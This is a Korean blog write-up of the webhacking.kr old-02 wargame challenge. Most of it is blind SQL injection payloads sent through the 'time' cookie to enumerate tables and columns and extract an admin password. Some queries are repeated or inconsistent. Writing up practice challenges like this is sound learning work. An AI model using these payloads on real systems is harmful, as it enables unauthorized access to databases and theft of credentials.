HW_chick hacker
[webhacking.kr] old-02 본문

old-02 문제이다. 딱히 소스코드를 주는게 없어서 html 코드를 분석해본다.
Step 1) html 코드 분석
해당 주석에는 admin.php가 존재한다고 힌트를 주고 있다.

admin.php 페이지에 접근하면 패스워드를 입력하는 페이지가 존재한다.
패스워드를 입력해야 풀릴 거 같다.

Step 2) 취약점 포인트 확인
취약점 포인트를 확인하기 위해 특이한 부분을 먼저 인지를 해야한다. 특히 쿠키값에서 "time" 값이 존재한데 해당 값은 날짜를 정수형으로 보여주는 거 같다.
특히 주의 깊게 볼점은 "time" 값을 html 코드 내 주석 부분에 반영해서 보여준다는 점이다.

찾는데 오래 걸리기는 했지만 주석에 정보를 보여주는 것은 DB와의 연관이 있을 수도 있다는 판단으로 sql 쿼리를 삽입하 1 이라는 상수를 삽입 하면 "2070-01-01" 날짜 나타내고 있다.

sql 쿼리가 작용이 된다면 sql injection을 확인하기 위한 참, 거짓을 구별하는 쿼리문을 삽입 하면 취약점 포인트를 찾아 낼 수 있다.
# 참, 거짓 판별
(CASE WHEN (1=1) THEN 1758851012 ELSE (select 1) END)
-> 참일 경우, 정수로 반환된 시간을 출력
(CASE WHEN (1=2) THEN 1758851012 ELSE (select 1) END)
-> 거짓일 경우, (select 1)에서 반환하는 시간 "2070-01-01" 시간을 반환할 것이다.


Step 3) 데이터 추출
테이블을 추출하고 칼럼을 추출하고 패스워드가 존재하는 테이블과 칼럼을 찾아 데이터를 추출하면 된다.
# 테이블 개수 2개
(CASE WHEN ((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema = database()) = 2) THEN 1758851012 ELSE (select 1) END)
# 테이블 길이
(CASE WHEN ((SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema = database() limit 0,1) = 13) THEN 1758851012 ELSE (select 1) END)
-> 첫번째 13자리
(CASE WHEN ((SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema = database() limit 0,1) = 13) THEN 1758851012 ELSE (select 1) END)
-> 두번째 3자리
1. 테이블 추출
# 첫번째 테이블 추출 (13자리)
(CASE WHEN (ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0,1), 0, 1)) = 96) THEN 1758851012 ELSE (select 1) END)
-> admin_area_pw


2. 칼럼 추출
# 칼럼 개수
(CASE WHEN ((SELECT COUNT(*) FROM information_schema.columns WHERE table_name = 'admin_area_pw') = 1)
-> 1개
# 칼럼 길이
(CASE WHEN ((SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'admin_area_pw' limit 0,1) = 2) THEN 1758851012 ELSE 1 END)
-> 2자리
# 칼럼 추출 (admin_area_pw 테이블)
(CASE WHEN (ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = 'admin_area_pw' LIMIT 0,1), 0, 1)) = 96) THEN 1758851012 ELSE (select 1) END)


3. 패스워드 추출
# 데이터 추출 (pw 칼럼)
(CASE WHEN (ASCII(SUBSTRING((SELECT pw FROM admin_area_pw LIMIT 0,1), 1, 1)) = 107)


- admin.php 로그인 완료

'Activity > Webhacking.kr' 카테고리의 다른 글
| [webhacking.kr] old-03 (0) | 2025.09.26 |
|---|---|
| [webhacking.kr] old-01 (0) | 2025.09.26 |